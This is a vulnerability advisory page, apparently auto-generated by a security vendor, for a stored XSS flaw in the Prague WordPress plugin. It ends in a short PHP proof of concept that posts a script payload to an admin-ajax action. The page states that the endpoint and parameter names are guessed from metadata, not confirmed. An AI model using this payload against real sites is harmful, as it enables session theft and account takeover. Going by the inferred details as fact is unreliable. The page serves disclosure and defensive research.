Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-67972: Prague <= 2.2.8 – Unauthenticated Stored Cross-Site Scripting (prague-plugins)

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.2.8
Patched Version
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-67972 (metadata-based):
The Prague WordPress plugin version 2.2.8 and earlier contains an unauthenticated stored cross-site scripting (XSS) vulnerability. This flaw exists due to insufficient input sanitization and output escaping in one or more plugin components. Attackers can inject arbitrary JavaScript payloads that persist in the WordPress database and execute in victim browsers when viewing compromised pages. The CVSS 7.2 score reflects the network attack vector, low attack complexity, no privilege requirements, no user interaction, and scope change with confidentiality and integrity impacts.

Atomic Edge research identifies the root cause as CWE-79, improper neutralization of input during web page generation. The vulnerability description confirms insufficient input sanitization and output escaping. Without access to source code, we infer the plugin likely processes user-supplied data through AJAX handlers, REST API endpoints, or form submissions without adequate validation. The data is then stored and later rendered without proper escaping functions like esc_html() or esc_attr(). These conclusions are inferred from the CWE classification and WordPress plugin patterns rather than confirmed via code review.

Exploitation requires unauthenticated attackers to send malicious payloads to vulnerable endpoints. Based on WordPress plugin conventions, the attack likely targets an AJAX action parameter via /wp-admin/admin-ajax.php or a REST API endpoint. A typical payload would be alert(document.domain) or similar JavaScript in a parameter the plugin processes. The payload persists in the database, executing whenever users access the injected content. Attackers could steal session cookies, redirect users, or perform actions as authenticated users.

The remediation likely involves implementing proper input validation and output escaping. The patched version 2.2.9 probably adds sanitization functions like sanitize_text_field() for input and escaping functions like esc_html() for output. WordPress security best practices require nonce verification and capability checks for authenticated endpoints, but this vulnerability affects unauthenticated users, suggesting missing authentication checks entirely. Developers should validate all user input against allowlists and escape all dynamic content before rendering.

Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in victim browsers. This can lead to session hijacking, administrative account takeover, site defacement, or malware distribution. The stored nature means a single injection affects all users viewing the compromised content. Attackers could manipulate site functionality, redirect users to malicious sites, or steal sensitive information displayed on affected pages. The scope change (S:C) in the CVSS vector indicates the vulnerability can impact components beyond the plugin’s security scope.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-67972 - Prague <= 2.2.8 - Unauthenticated Stored Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2025-67972
 * Note: This PoC is constructed based on vulnerability metadata and WordPress patterns.
 * The exact endpoint and parameter names are inferred since source code is unavailable.
 * Adjust $target_action and $target_param based on actual vulnerable endpoint discovery.
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Change to target site
$target_action = 'prague_ajax_action'; // Inferred AJAX action name
$target_param = 'prague_content'; // Inferred vulnerable parameter

// XSS payload - will execute when stored content is viewed
$payload = '<script>alert("Atomic Edge XSS Test: "+document.domain)</script>';

// Prepare POST data
$post_data = array(
    'action' => $target_action,
    $target_param => $payload,
    // Nonce parameter may be required for authenticated endpoints
    // but vulnerability is unauthenticated, so nonce may be absent or bypassed
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // For testing only

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($http_code == 200) {
    echo "Request sent successfully. Check if payload persists by visiting pages that use Prague plugin content.n";
    echo "Response preview: " . substr($response, 0, 200) . "...n";
} else {
    echo "Request failed with HTTP code: $http_coden";
    echo "Response: $responsen";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School